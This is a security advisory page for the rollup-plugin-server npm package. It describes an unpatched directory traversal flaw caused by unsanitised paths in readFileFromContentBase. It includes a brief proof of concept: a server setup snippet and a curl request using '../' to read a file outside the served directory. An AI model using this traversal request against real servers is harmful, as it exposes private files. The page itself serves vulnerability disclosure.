rollup-plugin-server@0.6.0 vulnerabilities

Server your rolled up bundle

Direct Vulnerabilities

Known vulnerabilities in the rollup-plugin-server package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Directory Traversal

rollup-plugin-server is a rollup plugin to serve the bundle.

Affected versions of this package are vulnerable to Directory Traversal. There is no path sanitization in readFile operation performed inside the readFileFromContentBase function.

PoC by JHU System Security Lab

  1. Create a server and run it
  var server = require("rollup-plugin-server");
        server({
          host: 'localhost',
          port: 9000
        })
  1. Create a file sensitive-file in the server's parent directory
  2. curl -s --path-as-is http://127.0.0.1:9000/../sensitive-file

How to fix Directory Traversal?

There is no fixed version for rollup-plugin-server.

*